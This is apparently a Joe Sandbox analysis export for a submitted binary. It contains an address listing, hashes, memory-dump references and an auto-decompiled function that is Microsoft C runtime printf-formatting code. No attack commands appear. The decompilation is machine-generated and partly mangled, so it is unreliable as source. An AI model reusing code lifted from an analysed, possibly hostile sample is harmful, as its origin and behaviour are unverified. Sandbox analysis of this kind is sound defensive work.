0x00000000
0x00427405
0x00427405
0x00427408
0x0042740b
0x0042740e
0x00000000
0x00000000
0x00427410
0x00427410
0x00427413
0x00427416
0x00427419
0x00000000
0x00000000
0x0042741b
0x0042741b
0x0042741e
0x00427421
0x00427424
0x00000000
0x00000000
0x00427426
0x00427426
0x00427429
0x0042742c
0x0042742f
0x00427433
0x00000000
0x00427433
0x00000000
0x0042742f
0x004273cc
0x004273cc
0x004273cf
0x004273d3
0x004273d6
0x00000000
0x004273d8
0x004273db
0x004273de
0x004273e1
0x004273e4
0x004273ea
0x00000000
0x004273ea
0x004273d6
0x0042739b
0x0042739b
0x0042739e
0x004273a2
0x004273a5
0x00000000
0x004273a7
0x004273aa
0x004273ad
0x004273b0
0x004273b3
0x004273b9
0x00000000
0x004273b9
0x00000000
0x00427444
0x00427447
0x0042744a
0x00000000
0x00000000
0x00427361
0x00427361
0x00427364
0x00427367
0x0042736a
0x00427382
0x00427385
0x00427385
0x00427388
0x0042736c
0x0042736f
0x00427372
0x00427378
0x0042737d
0x0042737d
0x00000000
0x00000000
0x0042744f
0x0042744f
0x00427452
0x00427452
0x00427457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042745f
0x0042745f
0x00427466
0x00427472
0x00427475
0x0042747b
0x00427482
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00427488
0x0042748e
0x0042748e
0x00427495
0x00000000
0x004277ef
0x004277ef
0x004277f6
0x004277fd
0x004277fd
0x00427800
0x00000000
0x00000000
0x0042749c
0x0042749f
0x0042749f
0x004274a5
0x004274a7
0x004274aa
0x004274aa
0x004274af
0x004274af
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275df
0x004275e4
0x004275e6
0x004275e9
0x004275e9
0x004275ef
0x004275ef
0x00000000
0x00000000
0x004279bc
0x004279bc
0x004279d2
0x004279d2
0x004279dc
0x004279dc
0x004279e2
0x004279e4
0x004279ee
0x004279ee
0x004279f1
0x004279f4
0x004279f4
0x00000000
0x00000000
0x00427546
0x00427546
0x00427552
0x00427558
0x0042755f
0x0042756d
0x0042756d
0x00427573
0x00427576
0x00427582
0x004275d7
0x00000000
0x004275d7
0x00427561
0x00427561
0x00427567
0x0042756b
0x00427587
0x0042758a
0x0042758a
0x00427590
0x004275b8
0x004275bf
0x004275c5
0x004275c8
0x004275cb
0x004275d1
0x004275d4
0x00427592
0x00427592
0x00427598
0x0042759b
0x0042759e
0x004275a4
0x004275a7
0x004275aa
0x004275ac
0x004275af
0x004275af
0x00000000
0x00427590
0x00000000
0x00000000
0x00427806
0x00427809
0x0042780c
0x0042780f
0x00427815
0x00427818
0x0042781f
0x00427823
0x0042782e
0x0042782e
0x00427832
0x00427849
0x00427849
0x00427850
0x00427852
0x00427852
0x00427859
0x00427859
0x00427860
0x00427871
0x00427880
0x00427883
0x00427887
0x0042789d
0x00427889
0x00427889
0x0042788c
0x00427892
0x00427898
0x00427898
0x00427887
0x004278a7
0x004278aa
0x004278ad
0x004278b0
0x004278b0
0x004278b3
0x004278b3
0x004278b6
0x004278bc
0x004278c2
0x004278ca
0x004278cb
0x004278ce
0x004278cf
0x004278d2
0x004278d3
0x004278da
0x004278db
0x004278de
0x004278df
0x004278e2
0x004278e3
0x004278e9
0x004278ea
0x004278f8
0x004278fa
0x00427900
0x00427900
0x00427906
0x00427908
0x0042790c
0x0042790e
0x00427916
0x00427917
0x0042791a
0x0042791b
0x00427929
0x0042792b
0x0042792b
0x0042790c
0x0042792e
0x00427935
0x00427938
0x0042793d
0x0042793d
0x00427943
0x00427945
0x0042794d
0x0042794e
0x00427951
0x00427952
0x00427961
0x00427963
0x00427963
0x00427943
0x00427966
0x00427969
0x0042796c
0x0042796f
0x00427974
0x0042797a
0x0042797d
0x00427980
0x00427980
0x00427983
0x00427983
0x00427986
0x00427992
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x00427ca3
0x00427834
0x00427834
0x0042783b
0x0042783e
0x00000000
0x00000000
0x00427840
0x00427840
0x00000000
0x00427840
0x00427825
0x00427825
0x00000000
0x00000000
0x004274b2
0x004274b5
0x004274b5
0x004274bb
0x00427512
0x00427516
0x0042751e
0x00427525
0x0042752b
0x00427531
0x00427538
0x00427538
0x0042753e
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x004274bd
0x004274bd
0x004274c7
0x004274cb
0x004274d3
0x004274da
0x004274e7
0x004274ee
0x004274fa
0x00427500
0x00427507
0x00427509
0x00427509
0x00427510
0x00000000
0x00000000
0x0042799a
0x0042799d
0x004279a0
0x004279a3
0x00427a1b
0x00427a1e
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427ad7
0x00427adb
0x00427ae3
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427abc
0x00427ac0
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a96
0x00427aa2
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7a
0x00427a7e
0x00427a86
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a4d
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a25
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x004276f8
0x004276f8
0x00427704
0x0042770a
0x0042770f
0x00427711
0x004277bb
0x004277be
0x004277be
0x004277c1
0x004277d5
0x004277db
0x004277e1
0x004277c3
0x004277c3
0x004277d0
0x004277d0
0x004277e3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00427717
0x00427717
0x00427717
0x00427719
0x00427727
0x0042771b
0x0042771b
0x0042771b
0x00427731
0x00427737
0x0042773d
0x00427744
0x00427746
0x0042774b
0x0042774d
0x00427752
0x00427757
0x00427759
0x0042775e
0x00427761
0x00427764
0x00427766
0x00427766
0x00427764
0x00427767
0x0042776e
0x004277b6
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427770
0x00427770
0x00427775
0x00427791
0x00427799
0x004277a3
0x004277a6
0x004277ab
0x00427ec8
0x00427ed5
0x00427ed5
0x00000000
0x004279fd
0x004279fd
0x00427a07
0x00427a07
0x00427a0d
0x00427a0f
0x00427a12
0x00427a12
0x00427a18
0x00427a18
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427ad7
0x00427adb
0x00427ae3
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427abc
0x00427ac0
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a96
0x00427aa2
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7a
0x00427a7e
0x00427a86
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a4d
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a25
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427af7
0x00000000
0x004279b5
0x004279b5
0x00000000
0x00000000
0x004275f2
0x004275f2
0x004275f6
0x00427604
0x00427607
0x004275f8
0x004275f8
0x004275f8
0x0042760d
0x00427613
0x00427619
0x00427625
0x0042762b
0x0042762b
0x00427631
0x00427698
0x00427698
0x0042769c
0x0042769e
0x004276a4
0x004276a4
0x004276a7
0x004276aa
0x004276b0
0x004276b0
0x004276b0
0x004276bc
0x004276bf
0x004276c5
0x004276c7
0x00000000
0x00000000
0x004276c9
0x004276c9
0x004276cf
0x004276d2
0x004276d4
0x00000000
0x00000000
0x004276d6
0x004276dc
0x004276df
0x004276df
0x004276e7
0x004276e7
0x004276ed
0x004276ed
0x004276f0
0x00000000
0x00427633
0x00427633
0x00427633
0x00427637
0x00427639
0x0042763e
0x0042763e
0x00427641
0x00427648
0x0042764b
0x00427651
0x00427651
0x00427651
0x0042765d
0x00427660
0x00427666
0x00427668
0x00000000
0x00000000
0x0042766a
0x0042766a
0x00427670
0x00427673
0x00427675
0x00000000
0x00000000
0x00427677
0x0042767d
0x00427680
0x00427680
0x00427688
0x0042768e
0x00427691
0x00427693
0x004276f3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00000000
0x004279ac
0x004279ac
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427ad7
0x00427adb
0x00427ae3
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427abc
0x00427ac0
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a96
0x00427aa2
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7a
0x00427a7e
0x00427a86
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a4d
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a25
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x00000000
0x00427262
0x00427265
0x00427268
0x00000000
0x00000000
0x0042726d
0x00427270
0x00427275
0x00000000
0x00000000
0x00427257
0x00427257
0x0042725a
0x0042725d
0x00000000
0x00000000
0x0042724c
0x0042724f
0x00427252
0x00000000
0x00000000
0x0042727a
0x0042727a
0x0042727d
0x0042727d
0x00427280
0x00000000
0x00000000
0x00427283
0x00000000
0x00000000
0x004270dd
0x00427eae
0x00427eb4
0x00427ebd
0x00427ec2
0x00000000
0x00427ec2
0x00427ca3
0x00427c7a
0x00427c7a
0x00427c7e
0x00427c8b
0x00427c8e
0x00427c91
0x00427c94
0x00427c97
0x00427c9a
0x00427c9d
0x00427c9d
0x00427ca0
0x00000000
0x00427ca0
0x00427c80
0x00427c80
0x00427c83
0x00427c86
0x00427c89
0x00000000
0x00000000
0x00000000
0x00427c89
0x00427be2
0x00427be2
0x00427be5
0x00427be8
0x00427bef
0x00427bf6
0x00427bfe
0x00427c04
0x00427c07
0x00427c0a
0x00427c11
0x00427c1d
0x00427c23
0x00427c29
0x00427c30
0x00427c32
0x00427c38
0x00427c38
0x00427c3e
0x00427c3e
0x00427c44
0x00427c47
0x00427c4d
0x00427c52
0x00427c55
0x00427bc4
0x00427bc4
0x00427bca
0x00427bcd
0x00427bd0
0x00427bd2
0x00000000
0x00000000
0x00000000
0x00427bd2
0x00427bc4
0x00427b04
0x00427b04
0x00427b0b
0x00000000
0x00000000
0x00000000
0x00427b39
0x00427b39
0x00427b3f
0x00427b45
0x00427b4b
0x00000000
0x00427b4b
0x00427a1b
0x004279d2

APIs

_get_int64_arg.LIBCMTD ref: 00427A29
__aullrem.LIBCMT ref: 00427BF6
__aulldiv.LIBCMT ref: 00427C18

Strings

', xrefs: 004279C8
0, xrefs: 004279E4
9, xrefs: 00427C29

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction ID: 882b13e794ee547dbe32fb4f51f09e85c4cdcd3f160281605e2b53847a68b7a6
Opcode Fuzzy Hash: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction Fuzzy Hash: E14114B1E09229DFDB64CF58D989BAEBBB4BB44304F5041DAD449AB241C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434D97, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434D97(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E00428080(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004280C0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00428080(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004280C0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E00434010(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E004280C0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E00428080(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C1C0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435350))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E00431000( *(_t557 - 0x251) & 0x000000ff, E0041AAD0(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00427FE0( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00427FE0( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E000();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422AF0(_t541))) = 0x16;
																		E00422880(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041AAA0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435388; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435370))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
